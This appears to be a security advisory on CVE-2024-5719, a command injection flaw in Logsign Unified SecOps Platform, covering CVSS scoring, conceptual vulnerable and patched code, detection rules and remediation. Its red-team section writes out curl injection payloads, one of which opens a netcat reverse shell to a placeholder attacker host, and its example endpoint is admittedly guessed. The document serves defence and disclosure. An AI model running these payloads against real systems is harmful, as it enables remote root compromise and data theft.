CVE-2024-5719

Executive Summary

CVE-2024-5719 is a critical command injection vulnerability in the Logsign Unified SecOps Platform. This flaw allows an authenticated remote attacker to execute arbitrary operating system commands with root privileges by sending a specially crafted HTTP API request. The vulnerability stems from improper validation of user-supplied input before it is used in a system call. Although authentication is required, the advisory notes that the authentication mechanism itself can be bypassed, significantly lowering the barrier to exploitation. With a CVSS score of 8.8, this vulnerability poses a severe risk to the confidentiality, integrity, and availability of affected systems. No public proof-of-concept (PoC) or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): Low – The attacker needs valid credentials, but authentication bypass is possible.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the affected system are the same.
• Confidentiality (C): High – Full system compromise leads to complete data disclosure.
• Integrity (I): High – An attacker can modify or delete any data on the system.
• Availability (A): High – An attacker can disrupt services or cause a denial of service.

Threat Level: Critical. The combination of remote exploitation, low complexity, and root-level code execution makes this a top-priority vulnerability for any organization using Logsign Unified SecOps Platform.

Deep Dive & Mechanics

The vulnerability resides in the HTTP API implementation of the Logsign Unified SecOps Platform. The specific flaw is a classic OS command injection (CWE-78). The application fails to properly sanitize user-supplied input before passing it to a system-level function (e.g., system(), exec(), or popen()). An attacker can inject arbitrary shell commands by including shell metacharacters (such as ;, |, &&, or backticks) in the API request parameters.

The advisory from ZDI (ZDI-CAN-24167) indicates that while authentication is required, the authentication mechanism itself can be bypassed. This suggests there may be a separate vulnerability (e.g., authentication bypass, hardcoded credentials, or session manipulation) that allows an unauthenticated attacker to reach the vulnerable API endpoint. Once the attacker has access to the API, they can craft a request that includes a malicious payload. For example, a request to an endpoint like /api/v1/execute?command=ls could be manipulated to /api/v1/execute?command=ls;id to execute the id command after the intended ls command.

The command is executed with root privileges, giving the attacker full control over the Logsign appliance. This could be used to install backdoors, exfiltrate sensitive log data, pivot to other systems in the network, or disrupt security monitoring.

Vulnerable vs. Patched Code

Since no patch details are available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code Pattern (Conceptual):

import subprocess

def execute_command(user_input):
    # Vulnerable: directly concatenating user input into a shell command
    command = "some_tool " + user_input
    subprocess.call(command, shell=True)

Patched Code Pattern (Expected):

import subprocess
import shlex

def execute_command(user_input):
    # Patched: using shlex.quote to sanitize input and avoiding shell=True
    safe_input = shlex.quote(user_input)
    command = ["some_tool", safe_input]
    subprocess.call(command, shell=False)

The patched version avoids using shell=True and properly quotes the user input to prevent shell injection. Alternatively, the application could use a whitelist of allowed commands or parameters.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Logsign Unified SecOps Platform instance (version unknown, but likely any version prior to a future patch).
2. Obtain valid credentials (or exploit the authentication bypass if discovered).
3. Use a tool like Burp Suite or curl to interact with the HTTP API.

Exploitation Steps:

1. Identify the vulnerable API endpoint (e.g., /api/v1/execute or similar).
2. Craft a request with a command injection payload. For example:

   curl -X POST "http://target/api/v1/execute" \
        -H "Authorization: Bearer <token>" \
        -d "command=ls;id"
   

3. If the authentication bypass is known, skip the token step.
4. Execute arbitrary commands to gain a reverse shell:

   curl -X POST "http://target/api/v1/execute" \
        -d "command=nc -e /bin/sh attacker_ip 4444"
   

5. Use the root shell to exfiltrate data, install persistence, or move laterally.

Note: No public exploit code is available, so this is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

1. Monitor HTTP API logs for unusual characters in request parameters (e.g., ;, |, &, $, backticks).
2. Look for outbound connections from the Logsign appliance to unknown IPs on unusual ports (e.g., 4444).
3. Implement network segmentation to limit the appliance's ability to initiate outbound connections.
4. Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
5. Ensure the Logsign appliance is not directly exposed to the internet.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /api/v1/execute or similar endpoints containing shell metacharacters.
  • Outbound connections from the Logsign appliance to external IPs on ports 4444, 1337, or other reverse shell ports.
  • Unusual DNS queries from the appliance to domains associated with C2 infrastructure.

• Host IOCs:

  • Unexpected processes running as root (e.g., nc, bash, python reverse shells).
  • New cron jobs or systemd services added by an attacker.
  • Modified system binaries or scripts in /usr/bin or /opt/logsign.
  • Unauthorized SSH keys in /root/.ssh/authorized_keys.

• File IOCs:

  • Suspicious files in /tmp or /var/tmp (e.g., exploit.sh, payload).
  • Log files showing command injection attempts (e.g., /var/log/logsign/api.log).

Detection Engineering

YARA Rule

rule CVE_2024_5719_Command_Injection {
    meta:
        description = "Detects command injection attempts against Logsign Unified SecOps Platform"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-5719"
    strings:
        $cmd1 = "command="
        $cmd2 = "execute"
        $shell1 = ";" ascii
        $shell2 = "|" ascii
        $shell3 = "&" ascii
        $shell4 = "`" ascii
        $shell5 = "$(" ascii
    condition:
        all of ($cmd*) and any of ($shell*)
}

Sigma Rule

title: Logsign Unified SecOps Platform Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Logsign API with command injection patterns
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5719
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'command='
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in command parameters (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2024.5719

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5719 Logsign Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/execute"; http_uri; content:"command="; http_client_body; pcre:"/(;|\||&|`|\$\().*$/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Logsign appliance from untrusted networks (e.g., the internet) until a patch is applied.
2. Restrict API access to trusted IP addresses only using firewall rules.
3. Review authentication mechanisms and disable any known bypasses (e.g., hardcoded accounts).
4. Monitor logs for signs of exploitation (see IOCs and Detection Engineering).

Long-Term Fix:

• Apply the official patch from Logsign as soon as it becomes available.
• If no patch is forthcoming, consider migrating to an alternative SIEM/SOAR platform.
• Implement input validation and parameterized system calls in any custom integrations.

Workaround:

• If the API endpoint is not essential, disable it or block it at the reverse proxy level.
• Use a WAF with virtual patching to block command injection payloads.

Valters IT